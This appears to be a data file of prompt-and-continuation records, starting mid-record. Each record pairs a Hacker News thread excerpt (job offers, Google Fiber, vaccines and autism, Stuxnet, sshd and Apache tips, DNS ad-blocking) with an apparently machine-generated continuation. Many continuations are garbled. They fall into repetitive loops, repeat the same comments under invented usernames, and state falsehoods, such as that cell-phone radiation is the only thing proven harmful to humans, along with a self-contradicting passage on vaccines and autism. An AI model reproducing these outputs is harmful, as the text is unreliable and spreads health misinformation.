of their perspective or polity. It's very much like the scientific\nmethod. Focusing on opinion diversity is a red herring.\n\n~~~\nfrotak\nYou're missing the thrust of the argument entirely.\n\nThe author does not advocate validating factually invalid statements - see his\nanecdote in the second article linked in GP regarding \"whether or not the\neconomic collapse was caused by poor black people\":\n\n\"I gave a quick response about how most experts would disagree with that\nassumption, that it was actually an oversimplification, and pretty dishonest,\nand isn't it good that someone made the video we just watched to try to clear\nthings up? And, hey, let's talk about whether that was effective, okay? If you\ndon't think it was, how could it have been?\"\n\nIn other words - in the case of \"bunk\" it can be summarily dismissed with a\nproper basis. Which is entirely different from vilifying and personally\nattacking a person for their beliefs or thoughts which are doing no actual\nharm to anyone else. People can have bogus ideas and those bogus ideas can be\ncompletely harmless no matter how much you might find them distasteful.\n\nViewpoint diversity is entirely about bringing different perspectives and\nexperiences to bear on a subject.\n\nIt works in the hard sciences:\n[https://www.quantamagazine.org/20151124-kadison-singer-\nmath-...](https://www.quantamagazine.org/20151124"} +{"output_text": "\nI'm not sure I understand the point of this.\n\n~~~\naswinmohanme\nI'm not sure I understand the point of this either.\n\n------\nmatt_the_bass\nI like the idea. I\u2019m not sure I would use it though. I\u2019m not sure I would\nwant to be reminded of my to do list.\n\n~~~\naswinmohanme\nI'm not sure I would want to be reminded", "input_text": "astination.\n\n------\nshennyg\nI agree that automatically carrying over todo's to the next day is a bad idea.\nYou need to be able to trust your todo tracker. It would be helpful to have\nsome sort of history/log of your tasks just in case you need it.\n\nIt reminds me of [https://complice.co/](https://complice.co/) each day you\nneed to put in your new tasks __but __you get to review yesterday's\nincomplete items and pull them in. It has a lot of smarts built in and tell\nyou you've pulled in the same task day after day and suggests you split it\ninto smaller pieces.\n\nNice job shipping aswinmohanme!\n\n------\nwruza\nAnother cool idea is to have an app that records your todos with check marks\nand posts doge memes at the end of the day on your twitter.\n\n\u201cI was going to study convolutional neural networks today @ but instead bought\nmilk\u201d.\n\n------\nharryf\nNice use of \"behavioural economics\"\n\n~~~\ntw1010\nDid you mean \"psychology\"?\n\n------\nronreiter\nI just write my todos on toilet paper and wipe my ass with it\n\n------\nhmhrex\nAsking honestly, what would be the benefit of this?\n\n~~~\nblocked_again\nDoes it make a difference if you were asking it dishonestly?\n\n~~~\nhmhrex\nI guess I should have clarified, I didn't want to sound snarky while asking\nwhat the benefit would be, I'm actually curious.\n\n~~~\ngnclmorais\nYou mean\u2026 the benefit of a to-do list? Asking honestly.\n\n------\nJeaye"} +{"output_text": "page with a bunch of technical details.\n\n~~~\njedberg\nThe problem was that the city didn't want Google to put the fiber in the\nground.\n\n~~~\njanvdberg\nI see. I guess that's why they are now building their own fiber network.\n\n------\njedberg\nI'm curious if this is a sign that the city is going to be more open to\nGoogle's ideas in the future.\n\n~~~\njed", "input_text": "For a local news source: [https://www.wdrb.com/news/belknap-neighborhood-\nresidents-con...](https://www.wdrb.com/news/belknap-neighborhood-residents-\nconcerned-over-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\nHere's an article proclaiming that this is how Google would \"outbuild their\nrivals\": [https://www.techrepublic.com/pictures/photos-how-google-\nfibe...](https://www.techrepublic.com/pictures/photos-how-google-fiber-is-\nusing-shallow-trenching-to-outbuild-its-gigabit-rivals/18/)\n\nI cannot possibly oversell just how terrible the work was here. Yes, that is\nindeed a fiber optic cable two inches under a city street, covered only by\nexpanding foam rubber. Yes, someone really did think \"yeah, this'll be just\nfine.\"\n\n------\nitronitron\nGoogle Fiber has suffered from a lack of imagination, or just good ole' plain\nmarket analysis, in figuring out how to roll out fiber to larger areas around\ntheir 'fiber cities'. Google Fiber in Austin is limited to a very small area\nwhich oddly enough is probably not where most of the residential demand is.\nSomehow I doubt that they ever asked homeowners what they would be willing to\npay for a fiber connection.\n\n------\njanvdberg\nWhat was the problem? When I click the \"encountered challenges\" link I get a\n"} +{"output_text": "\nopen mind, and be willing to take a risk.\n\n~~~\njoshu\nI'm not sure I agree.\n\nI've been in the same job for a decade. I've been in the same company for a\ndecade. I've been in the same city for a decade. I've been in the same\nindustry for a decade.\n\nI've been in the same job for a decade. I've been in the same company for a\n", "input_text": " until a new person is hired.\n\n------\nlkrubner\n\"you\u2019ll earn the job-hopper label\"\n\nWhat? In the year 2012? I assume this is being written about the USA? His\ncomment seems to come straight out of the 1980s. I remember my parents telling\nme stuff like this when I was a kid. But what is the actual reality in 2012?\nMany companies are afraid to hire and ask that people work some sort of trial\nperiod. If you do programming, most companies in New York will offer you a 90\nday contract, and see if you work out. If you want to get into editorial work,\na lot of magazines are insisting that you work an internship first.\n\nThe unwillingness of companies to commit to people means it is only fair if\npeople are unwilling to commit to companies.\n\nBesides all that, during the last 12 years I have not worked anywhere\ncontinuously for more than 18 months. I'm still flooded with offers. I suppose\nworking for small, new firms is different than working from large ones, but\nI've worked for some large ones as well.\n\nI do not doubt that there are still some large, conservative organizations in\nthe USA that still are worried about \"job hoppers\" but clearly the era where\nthis was a predominate concern is now several decades in the past.\n\n------\njonathanconway\nThis is complete rubbish. Take a look at my LinkedIn profile:\nlinkedin.com/in/jonathanconway.\n\nVirtually nothing but 3/7/12-month stints.\n\nI'm now making more money (and having more fun!) than ever before in my\ncareer!\n\nThe key is to keep your skills fresh and relevant to the job market, have an"} +{"output_text": "~~~\nmatt4077\nI'm not sure if you're being sarcastic, but the answer is: \"never\".\n\nThe only thing that's been proven to be harmful to humans is the microwave\nradiation from cell phones.\n\n~~~\nfenglida\nI'm not being sarcastic. I'm being serious.\n\n~~~\nmatt4077\nI'm not sure if you're being serious, but the answer is: \"never\".\n\n", "input_text": "significant exposure.\n\n~~~\nmicrocolonel\n> _That seems like a terrible idea because people forget why useful\n> regulations were needed._\n\nTo me that seems to indicate that we need to keep a record of why laws are\nmade, so that the case is simply ready to be made when the sun is due to set.\n\n~~~\nthaumasiotes\n> To me that seems to indicate that we need to keep a record of why laws are\n> made\n\nWhether and why a practice is useful generally has little or nothing to do\nwith people's understanding of whether and why it is useful. The arguments\npeople advance for everything, including valuable things, are almost uniformly\nnonsense and easy to disprove.\n\nSo, a record of why laws are made wouldn't really serve any purpose.\n\n~~~\nstuaxo\nLaws should be measured against the reasons they were created.\n\n~~~\nthaumasiotes\nIf you start doing a good thing for a bad reason, you should stop?\n\n------\nspraak\nReminds me of the gleeful use of DDT as well. It's a common pattern.\n\n~~~\ncrdotson\nProbably a bad example. A lot more people died from malaria than would ever\nhave been harmed by DDT.\n\n~~~\nUser23\nMost people have no idea malaria was endemic in the USA as far north as New\nYork State. The advantage of the DDT saturation was that it wiped out the\ndisease reservoir completely, precisely because it persisted in the\nenvironment. Modern \"responsible\" DDT usage (treated nets, wall spraying, etc)\nis just breeding resistant mosquitoes.\n\n------\nfenglida\nHow long until will it be until we find out the effects of 5G radiation?\n\n"} +{"output_text": " get some feedback on\nthe idea.\n\n~~~\nsoneca\nI see. I think that's a good idea. I would love to see a demo of the app.\n\n------\njoshstrange\nI'm not sure if this is the right place to ask this but I'm curious. I've\nalways wanted to build a site that would allow people to create a \"profile\"\nfor their business. I've been thinking about it for a while and I", "input_text": "\nThat, and Show HN her is great. Reddit has /r/startups which I also think is\nsupportive and helpful.\n\n~~~\naugustflanagan\nI completely agree with this. My co-founder had a post[0] on HN yesterday in\nwhich he mentioned that our MVP made him cringe.\n\nWhat he didn't mention is that that cringeworthy MVP was public for almost two\nmonths before we started showing it to people. It was out there with broken\nfeatures, placeholder text, etc.\n\nThat made shippin easy. It was done on day 1 and then we were very motivated\nto make it actually do something useful since it was already public.\n\n[0]\n[https://news.ycombinator.com/item?id=13347307](https://news.ycombinator.com/item?id=13347307)\n\n------\nsoneca\nNormal yes, not much beneficial. I dont have this problem at all (take a look\nat my long list of Show HN of all kinds, including several very poor half-\nbaked things that I'm not that proud of), so I dont think I can give any\nempathically useful advice. But I would love to know, what are you building?\n\n(Who knows, maybe it does indeed requires a longer gestation period).\n\n~~~\nfratlas\nML-based social platform where the algorithms learn a user's tastes. Limited\nto images, it's somewhere between Tumblr/VSCO/Pinterest/IG. It works for me,\nand my girlfriend loves using it, but the problem is she always wants to\nexport her chosen images back to another platform for posting. I sense it will\nbe a chicken and the egg problem. Was mostly so I could"} +{"output_text": "accept the hypothesis that the MMR vaccine causes autism. We have no evidence\nthat it does. We have no evidence that it does not. We have no evidence that\nit might cause autism. We have no evidence that it might not cause autism. We\nhave no evidence that it might cause other diseases. We have no evidence that\nit might not cause other diseases. We have no evidence that it might cause\nother diseases. We have no evidence that it might cause other diseases. We", "input_text": "\nI think he means, from the anti-evidentiary viewpoint of the conspiracy nuts.\n\n------\nprbuckley\nI thought that the theory for linking vaccines to autism had to do with the\nuse of methylmercury as a preservative. Methylmercury is a known neurological\ntoxin, here is a great resource...\n\n[http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability...](http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability/VaccineSafety/ucm096228.htm)\n\nThe fact that this article brings up the fact that Wakefield had a patent in\nthe same area as his research seems fishy to me.\n\n\"The panel resurrected and upheld most, if not all, of the main charges\nagainst Wakefield, such as his undeclared conflict of interest in having filed\na patent relating to treatments for bowel conditions a year before his Lancet\nstudy appeared. \"The panel therefore rejects the proposition put forward by\nyour [Wakefield's] counsel that third-party perceived conflicts of interest\ndid not fall within the relevant definition at the time,\" it concludes.\"\n\nI used to be a research scientist and it was common place for researchers (or\ntheir institutions) to file patents on research that led to publications. No\none I know ever listed this sort of thing as a conflict of interest. It sounds\nlike this counsel might be reaching to try and discredit Dr. Wakefield.\n\nSadly their is more politics in science than most people want to believe.\n\n~~~\ntokenadult\n\n\n\"Regarding the question of vaccines and autism, for ethical reasons we cannot\n"} +{"output_text": " missing, but I\ndon't remember what.\n\nThe game is very well designed, and the UI is very well done. I'm not sure if\nit's the best UI ever, but it's very well done.\n\nThe game is very well balanced, and I don't remember it crashing once.\n\nThe game is very well optimized, and I don't remember it crashing once.\n\nThe game is very well polished, and I don't remember it crashing once", "input_text": "02/dolphin-progress-\nrep...](https://dolphin-emu.org/blog/2017/10/02/dolphin-progress-report-\nseptember-2017/)\n\n------\nsatuim\nAn amazing project, My only criticism is the scaling, playing in 1080p makes\nthe UI really small, it does have scaling in the options but 1.5 uses\nantialiasing and kinda ruins the pixel graphics.\n\nOtherwise the best way to play this. I'm pretty sure you can also import\ncertain elements from RCT1 if you have it.\n\n------\nSintendo\nI continue to wonder whether this can be legal at all. It's pretty clear\nthey've been looking at the disassembled code, so it's not clean-room reverse-\nengineered.\n\n------\ncmpb\nAnyone interested in this may also be interested to know that there is a\npretty thriving subreddit for RollerCoaster Tycoon:\n[https://www.reddit.com/r/rct/](https://www.reddit.com/r/rct/)\n\n------\nPLenz\nAs a lover of the original I wish this project has the same success OpenTTD\nhas had.\n\n------\nsqueaky-clean\nI've never played this but have been aware of it for a while. Judging from the\nReadme it sounds fairly complete? Like I could play out a full scenario in\nthis without missing features or crashing?\n\n~~~\nlucb1e\nI also head of it for a while before I gave it a spin. I finally got around to\nit about 6 months ago.\n\nThe game works really well. I don't remember noticing that anything was still\nmissing in singleplayer. Multiplayer... there was something"} +{"output_text": " training, able to do\npull-ups.\n\n~~~\njrockway\nI don't know if you're just not used to them, or if you're just not used to\nthe right kind of machine. I've been doing pull-ups for years, and I can do\nthem on a barbell, a chin-up bar, a Smith machine, and a cable machine. The\ncable machine is the best, because it's the most natural.\n\n", "input_text": " internet\njackass, but I just can't not respond to that.\n\nI'm an athlete first, and a technology worker second. And what you just said\n(\"better to... use a machine that isolates... while not straining unrelated\nmuscles\") is the fitness equivalent of something that would be a top post on\nThe Daily WTF.\n\nThat is almost exactly the wrong idea. I mean, so precisely opposite of\ncorrect information that I hope you didn't write that as a joke and I'm not\ngetting it.\n\nThe only time isolation movements make sense is if you're already a very\ncompetitive bodybuilder who walks around with hundreds of pounds of lean\nmuscle mass. Otherwise, isolation movements (especially when performed on\nmachines rather than with free weights) are a genuinely terrible idea. At\nabsolute _best_ they will make you gain muscle and lose weight vastly more\nslowly than you could. Most likely, they'll make you wind up with a chronic\ninjury.\n\nPlease, please, please don't go to the gym and work on machines. Do compound\nmovements instead. If you're interested in making physical improvements, go\npick up Starting Strength. It's $30 and the author is an absolute genius.\n\n[That was officially my first flame. I feel so hollow inside...]\n\n~~~\njohnyzee\nPush-ups give me a headache. I don't know if its the blood rushing to the head\nor the neck tension, but they are uncomfortable for me for reasons that have\nnothing to do with the actual excercise. Same thing for pull-ups, sit-ups or\nwhatchamacallit.\n\nMachines are comfortable while still maxing out my muscle capacity. They are\nthe sole reason that I am now, after many years of"} +{"output_text": " thimerosal\nlink, to conclude that the study \"does not support the hypothesis that\nthimerosal-containing vaccines are associated with autism.\"\n\n\"The Institute of Medicine's 2004 report was based on a review of the\nliterature published between 1966 and 2003. The authors of the report\nacknowledged that the literature was not consistent, but they concluded that\nthere was no good evidence to support a link between thimerosal and autism.\nThey also acknowledged that the literature was", "input_text": " (or are even merely a significant\ncontributing factor), we would expect that the removal of thimerosal from\nvaccines would lead to a rapid decrease in autism incidence and prevalence\nwithin 2-5 years.\n\n\"There have now been several studies that examined this very hypothesis in\ncountries that removed thimerosal from their vaccines before the U.S. did. For\nexample Hviid et al3 reported that autism prevalence in Denmark increased from\n1991 to 1996 despite the removal of thimerosal from vaccines, while Madsen et\nal4 looked at the time period from 1971 to 2000 and concluded that autism\ndiagnoses continued to increase after thimerosal was removed from vaccines.\nNeither study supported a causal link between TCVs and autism, and they were a\nprominent part of the dataset that was used by the Institute of Medicine to\nconclude in 2004 that there was no good evidence to support a link between\nTCVs and autism. A more recent study by Eric Fombonne5 in Montreal examined\n27,749 children born from 1987 to 1998 attending 55 different schools.\nCumulative thimerosal exposure by age 2 years was calculated for the 1987-1998\nbirth cohorts. This exposure ranged from 100-125 \u03bcg from 1987 to 1991, 200-225\n\u03bcg from 1992 to 1995, and then none after 1996, which was when thimerosal was\ncompletely removed from vaccines in Canada. The result was that autism, ASD,\nand pervasive developmental disorder diagnoses continued to increase in all\nperiods, demonstrating no relationship between TCVs and autism or ASDs. Even\nmore recently, a large study6 failed to support a relationship between\nthimerosal and adverse neurodevelopmental outcomes, a result that led one of\nthe investigators in the study, Sallie Bernard, a proponent of the"} +{"output_text": " the actual\ndownload.\n\nThis is a good solution because it is easy to implement, and it is easy to\nimplement in a way that is not a \"yes/no\" question.\n\n~~~\nsophacles\nI should add that this is a good solution because it is easy to implement, and\nit is easy to implement in a way that is not a \"yes/no\" question.\n\n------\nmatt_the_bass\nI\u2019", "input_text": " will be much faster there.\n\n~~~\npmtarantino\nThat's my opinion too. I worked in two different jobs in the last years. One\nof them was in company A, which I always wanted to be part of. The salary was\nnot amazing (in fact, after of some talk with friends, it was low), but I was\nhappy. Then, I worked in company B. The salary was superb, it was higher than\naverage, but I was not happy. That was not what I wanted. I quit.\n\n------\nlsiebert\nask for offer in writing, explain why, and that you'd prefer A, see if they\nare open to matching B's offer. If so, you might want to take their initial\noffer to B.\n\nGet B's offer in writing and go to A. Tell A if they match it, you'll work for\nthem.\n\nDo so, that is, if they match B's offer, work for A. Explain to B, but invite\nthem to contact you sometime in the future to see if you are happy at A. Use\nB's contact to either move to B if A isn't great or to negotiate from position\nfrom strength at A.\n\nBut work at A to start with.\n\n \nDownloading a file regularly - how hard can it be? - joeyespo\nhttps://adblockplus.org/blog/downloading-a-file-regularly-how-hard-can-it-be\n======\nsophacles\nA common solution to this problem, is to make a 2 stage process, where step 1\nis a request of \"should I download?\", where there are 2 possible replies: \"no,\ncheck again in N time\" and \"yes, here is a token\". Step 2 is"} +{"output_text": " AWS. You can use the same\nsecurity model for all your hosts. You can use the same sshd host for all your\nhosts. You can use the same sshd config for all your hosts. You can use the\nsame sshd keys for all your hosts. You can use the same sshd config for all\nyour hosts. You can use the same sshd keys for all your hosts. You can use\nthe same sshd config for all your hosts. You can use", "input_text": "\nrecent HN post from dadgum.com about C's most powerful operator being\n'switch'. This is well known. However, maybe there are 17 or 15 year olds who\nlurk HN. In order for them to learn, they should be exposed to that knowledge.\n\nSo, while we are trying to help one another, here is some advice. One _really\ngood_ way to run sshd securely is to use a different operating system other\nthan Linux. This isn't because Linux is bad, it is just that certain decisions\nwere made that will not change. People might extrapolate what I just said too\nfar. Let me illustrate this as a conversation for entertainment.\n\nworld says: 'drudru just said don't run linux anywhere'\n\ndrudru says: 'Nope. What I'm saying is if you need high security, yet open to\nthe world, sshd install, don't run it on Linux. Run it on an OS and config\ndesigned for security. You can still use Linux and other OSs for other\nthings.'\n\nworld says: 'Ok, if I do that, how do I ssh to my Linux hosts?'\n\ndrudru says: 'Since your sshd host is running not on Linux and it is secure,\nyou can use it to login to your other hosts. You should run it on a static IP\naddress. Then you will only allow ssh in to all your other hosts from that\nknown secure IP and host key. You can have multiple jump machine/static IPs,\nsay 2 on different networks for redundancy.'\n\nworld says: 'I've heard OpenBSD was secure. I don't want to learn OpenBSD,\nFreeBSD, etc.'\n\ndrudru says: 'You should just run on Heroku or"} +{"output_text": ", this is not a good idea.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good idea. I\u2019m not sure if the author is a good\nperson.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good idea. I\u2019m not sure if the author is a good\nperson.\n\n------\nmatt_the_bass\nI\u2019m not", "input_text": "\n------\nconradev\nI use a MacBook Pro as my daily driver, but I recently purchased a Lenovo\nThinkPad to play around with. Sometimes I forget how awesome it is to have a\nrepairable and modular computer.\n\nI didn't want the webcam or microphone in the ThinkPad\u2026 so I took 30 minutes\nand removed it. Easy as that.\n\n~~~\ncsydas\nWell,to be fair you could just open the MacBook Pro and unplug the ribbon for\nthe webcam. iFixit will have instructions. Removing it entirely granted is\nanother matter, involving opening the screen, but you'd have to do the same on\nany modern laptop with an integrated camera wouldn't you?\n\n~~~\nwruza\nFor my mac I just used a knife to open screen and shoved black paper strip\nbefore camera.\n\n------\ngreglindahl\nI experimented a bit with an Apple laptop microphone, and it took 2 layers of\nelectrical tape to block the mic. There doesn't appear to be any way to block\nan iPhone mic without blocking the speaker, too, and I'm not confident that it\ncould be blocked at all.\n\n------\nmpetrovich\nBut what about his computer's built-in mic? Unless he's pantomiming all\nsensitive info...\n\n------\nneom\nIt's pretty sad that he used the word \"authority\" in this sentence: You do\nthat so that people who don\u2019t have authority don\u2019t look at you. I think that\u2019s\na good thing.\u201d\n\n------\nthrowaway13337\nIt's relatively common to have access to private security cameras. Some are\neven google indexed.\n\nThe software included relies on the users protect the web interface.\nObviously"} +{"output_text": " people are trying to get\ntheir VoIP to work with their existing routers.\n\n------\njosh2600\nI'm not sure I understand the problem.\n\nIf you're using a VoIP provider, you're already paying for a service. If you\nwant to use a VoIP provider, you're already paying for a service.\n\nIf you're using a VoIP provider, you're already paying for a service. If you\nwant to use a Vo", "input_text": " sure, if you're talking about outbound VoIP traffic from the\ncustomer's computer, they could do that. But what about inbound traffic, which\nfor nearly all customers is the bulk of their traffic? There can be no way to\nput controls on who sets the QoS flag, which means everybody needs to set it\nor they risk having their own service degraded because someone else decided to\ninappropriately set their own QoS flag.\n\nBasically, it's tragedy of the commons. All incoming traffic is going to end\nup with the QoS flag set, and thus the internet will basically behave as if it\ndidn't exist.\n\n~~~\nbelorn\nPut a stateful table in there, and there is no problem identify most inbound\ntraffic as high priority if the receiver first initiate the communication with\nhigh priority set. There is a bit of issues with mutli-path routing, but its a\nrare issue that could likely be ignored as non-QoS worthy packages.\n\nOf course, that only work inside one ISP and its customers, or between ISP\nwhich agree to respect each other limited use of QoS, both this approach would\nnot fall for the tragedy of the commons. So long the end-user who initiate the\ntraffic ends up deciding what priority is needed, limited use of QoS could\nhelp solve problem of voip vs bittorent.\n\n~~~\nvy8vWJlco\nRouters (and bittorrent clients, and operating systems) allow households to\nprioritize their traffic already. (IMHO, any \"solution\" to bittorrent vs voip\nshould live at the edge where it only affects the person who chose it.)\n\n~~~\n18pfsmt\nRead the Republic Wireless forums to see how many"} +{"output_text": "\nI've been using this for a while and it's been pretty good. I've found that\nthe \"keep alive\" directive is a good way to get a little more performance out\nof Apache.\n\n------\njoshu\nI've been using this for a while. It's pretty good.\n\n------\njoshu\nI've been using this for a while. It's pretty good.\n\n------\njoshu\nI've been using this for", "input_text": " xamuel. For us non-geeks, this is pretty mind-boggling\nstuff.\n\n------\najross\n> When I first turned this on, I set the directive in the configuration file\n> to \u201cConneption: Keep Alive.\u201d Apache began laughing hysterically at my typing\n> skills, and promptly crashed\n\nSo a syntax error is now a \"crash?\". Web developers...\n\n~~~\nceejayoz\nToday I learned people reboot apache without doing `apachectl -t` first.\n\n~~~\nbatista\napachectl -t?\n\nWhy go ghetto? You should be doing something like \"/sbin/service httpd\nrestart\".\n\n~~~\nceejayoz\n`apachectl -t` checks the.conf files for syntax errors.\n\nFor this reason, there's zero excuse for ever having an Apache install crash\nfrom a typo.\n\n~~~\nscdc\nWe have Apache running on some Windows boxes-- haven't found a way to run\napachectl on Windows...\n\n~~~\nceejayoz\n`apache.exe -t` according to\n\n\n------\nchris_wot\nAren't these just standard website speedup techniques? If you ran YSlow on the\nsite, then it's probably going to give you the same advise, but in more\ndetail. And it won't miss obvious suggestions like combine the scripts/css\ninto one file!\n\n~~~\nleeoniya\npretty sure pagespeed tells you to minimize http requests. that's one of the\ntop things. one of the points from what i remember was to combine js and css\nfiles.\n\n------\ndmethvin"} +{"output_text": " to be against it.\n\n~~~\nsctb\nThanks! Updated.\n\n", "input_text": "perseusprime11\nIs Agile & Scrum still relevant? I am seeing more and more consultants who\nused to selling this stuff have moved upmarket into Lean and Digital\nTransformation of companies.\n\n------\nromanovcode\nCan we deprecate scrum in 2018?\n\n~~~\ndang\nPlease don't post unsubstantive comments here. I'm sure few people here have\nany fondness for software processes, especially in the corporate decadence\nstage, but that's no reason to make HN worse.\n\n------\nbrightball\nThis is perfect.\n\n------\nsaas_co_de\n[http://programming-motherfucker.com/](http://programming-motherfucker.com/)\n\n~~~\nmake3\ndo people really pair program in real life? I've never actually seen it\n\n~~~\ndudul\nYes.\n\n~~~\nmake3\nat which company did you see it, and was it everyone\n\n------\nwoliveirajr\nTag [2011] is missing...\n\n~~~\nsctb\nThanks! Updated.\n\n \nThe Reproduction of Privilege - pg\nhttp://campaignstops.blogs.nytimes.com/2012/03/12/the-reproduction-of-privilege/?src=recg\n======\nrdl\nThere are a lot of points in this (some of which seem bogus), but just to\nfocus on one:\n\n\"Higher education itself has polarized\" -- relative growth in competitive,\nvery competitive, and most highly competitive colleges AND in community\ncolleges, but not in the less and noncompetitive 4-year colleges.\n\nThis seems like something to be celebrated and encouraged, not reviled. I\nreally don't see any reason"} +{"output_text": " nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n", "input_text": "\n\n------\ntwymer\n\"Siemens announced last year that Simatic can now also control alarm systems,\naccess controls and doors. In theory, this could be used to gain access to top\nsecret locations. Think Tom Cruise and Mission Impossible.\"\n\nI've been reading pretty much everything I can find about Stuxnet so far, but\nhaven't heard this before. If it's true Stuxnet might really be living up to\nthe hype that it's the \"first malware of it's kind.\"\n\n------\n16s\nI've read that there are three stolen Microsoft Authenticode certificates\nbeing used by stuxnet authors to sign the malware. I've used these sort of\ncerts myself to sign executables. They require passphrases to use. I could\nbelieve that they cracked one passphrase to use one cert, but three? All from\ndifferent companies too.\n\n~~~\nmfukar\nIt's much more likely that the certificate used were stolen (from Realtek\nSemiconductor Corp.), than cracked.\n\n~~~\n16s\nYes, but the point is that in order to use a stolen cert, you need the\npasscode _and_ the cert. They somehow got three certs and three passcodes from\nthree different companies.\n\n~~~\nmfukar\nThat's right. However, I think that if I were in a position to steal a\ncertificate, it'd be trivial to also get the pass[code|phrase|whatever],\nassuming there even was one to begin with. ;-)\n\n~~~\nralphc\nRealtek and JMricron were in the same building, maybe the third company is as\nwell?\n\n------\nGarbage\nOne interesting question is: * Q: Was Stuxnet written by a"} +{"output_text": "\nI remember the first time I saw a program that used a subroutine. I was\namazed. I had never seen anything like it. I was hooked.\n\nI remember the first time I saw a program that used a subroutine to do\nsomething. I was amazed. I had never seen anything like it. I was hooked.\n\nI remember the first time I saw a program that used a subroutine to do\nsomething. I was amazed. I", "input_text": "-1. My first\ncomputer \u2014 the best thing I could afford \u2014 was a Quest Super Elf [\n ] with 256 bytes of RAM, and\na processor on which a recursive subroutine call took 16 instructions.\n\nOn the other hand, by 1985 I was doing QA for a 64-bit Unix environment.\n\n~~~\njekub\nYou're joking, this was a wonderful machine. Especially the CDP1802 processor\nwith its ability to use any register as a PC. I've very nice memory with this\nchip.\n\n~~~\nkps\nIn some ways it was nice. For those unfamiliar:\n\nThe 1802 had sixteen general purpose 16-bit registers. Any one of these could\nbe selected as the program counter. In a tiny embedded system (which is what\nthe part was meant for), you might choose to designate one as the \u2018normal\u2019 PC\nand reserve a few others for important subroutines, which could then be\ninvoked with a one-byte \u2018SEP _n_ \u2019 instruction. Similarly you could implement\ncoroutines or simple task switching by switching the selected PC between a\npair of registers.\n\nOn the other hand, there was no conventional call instruction. The SCRT\n(\u201cStandard Call and Return Technique\u201d) for recursive or reentrant subroutines\nessentially involved defining (non-reentrant) coroutines to perform the\n\u2018recursive call\u2019 and \u2018recursive return\u2019 operations.\n\n------\nDanielBMarkham\nI remember playing around with machine instructions on the 6502. I wouldn't\ncall it hand assembly; it was more like copying and groping around. I probably\nwrote less than 200 lines in my life.\n"} +{"output_text": " internet for a few days.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is any better\nthan the ad-blockers that are already available.\n\nI've been using Adblock Plus for years now, and it's been working just fine.\n\nI don't see how this is any better.\n\n~~~\npgl\nIt's not. It's just a different approach.\n\n~~~", "input_text": "ator\nAlso, running your own DNS server means you can do this for _every_ device,\neven those for which you can't easily access the HOSTS file or perhaps don't\neven have such a facility (locked-down mobile devices, embedded systems, etc)\nand not have to worry about keeping multiple copies of HOSTS files in sync and\nupdated.\n\nAlthough I don't have such devices in my network, I've heard that others do\nthis to their \"smart\" TV/media box/creepy home surveillance gadgets.\n\n~~~\npgl\nYes, absolutely! It's way easier to configure your wifi router (or cable\nmodem, or whatever acts as the DHCP server on your network) to use a local DNS\nserver that blocks ads. Then ad blocking just _works_, whatever you connect\nto your network.\n\n~~~\nchrismbarr\nis the best way to do this to run something like DD-WRT? Or is there a way to\naccomplish this with stock router firmware? I ask because I recently tried to\ninstall DD-WRT but ran into issue and had to revert to my stock firmware.\n\n~~~\nlaumars\nPersonally I run dnsmasq on my file server (separate FreeBSD jail), but before\nthen I was running it on my Asus router with pretty much the stock firmware.\nSo I don't think there is a \"best\" approach specifically - just whatever works\nfor you.\n\nWhat's your router model?\n\n~~~\nchrismbarr\nVery late in seeing this comment! It's a Netgear WNDR3700v4. DD-WRT __is\n__supported on it, and i did successfully get it installed, but I had no\nconnection to the"} +{"output_text": "able.\n\n~~~\npfooti\nI'm not sure I follow.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\n", "input_text": " it helps in what concerns designing\nsoftware in the large.\n\nMost other backgrounds aren't exposed to such issues.\n\n------\npfooti\nOne of the weird problems here is performance, though. A naive approach to\nleft-pad, might involve (new Array(n+1)).join(padChar), for example, since\njavascript doesn't actually have a consistent language-native way to create an\narbitrary-length string. That technique ends up, in some javascript runtimes,\ntaking orders of magnitude longer to run compared to a for loop with string\nconcatenation. The array.join method is one line though.\n\nSo, imagine the scenario where you've got a commonly-used function that gets\nvendored and from there copypasta'd into a lib/common or some other location\nin your project. You've basically just cut yourself off from any updates that\nthe module author might make when new javascript optimization hacks come\naround (or obscure corner-case bugs need protecting against). It's a small\nproblem, but it is at least worth considering.\n\nThere's also this whole thing with licenses - there's a fundamental difference\nbetween using a library and copying its source into your build tree. The MIT\nlicense doesn't care, but the LGPL certainly does.\n\nI do like the idea in general. You should extend it by doing tree-shaking or\ndead-code analysis. \"This library is big, but you're just using one function\ncall, let's just copypasta that one in here\".\n\n~~~\nesailija\nThe code needs to pass threshold of originality to be copyrightable, otherwise\nyou don't need to care about the license. For example `(new\nArray(n+1)).join(padChar)` is definitely not copyright"} +{"output_text": ", but you also come across as a\nnegotiator who is not interested in the company.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n", "input_text": "bid A. Now you are\nwondering if you can leverage a questionable offer from B to up A's offer.\n\nIf you escalate this further into a full out bidding war, the probability is\nhigh that it won't turn out well. If B wins, you work for a sketchy company\njust for the money... or they don't come through with a _real_ offer, A drops\nout (note that you do not have a _formal_ offer from A yet), and you are\nscrewed. If A wins, the person you work for knows what you did to them and\nresents it.\n\nSorry to be harsh, but from the outside looking in, B sounds pretty sketchy\nand your line of questioning doesn't reflect well on you.\n\n------\nantidoh\n\"I recently graduated\"\n\n\"aced the interviews\"\n\n\"I got an offer from A\"\n\n\" I actually prefer A\"\n\n\"B can become better in my mind if their offer triumphs on the financial\nside.\"\n\nI believe that last is the only untrue thing you've said.\n\nYou're young, capable and have a lot of years in front of you. Work where you\nwant and enjoy it.\n\n------\nhelen842000\nI think B only want to see the letter in writing so that they can go slightly\nabove what A has offered.It makes no sense to go largely over.\n\nWhy not ask B to make a blind offer based on the value you can bring and what\nyou're worth, tell them you're not interested in them upping 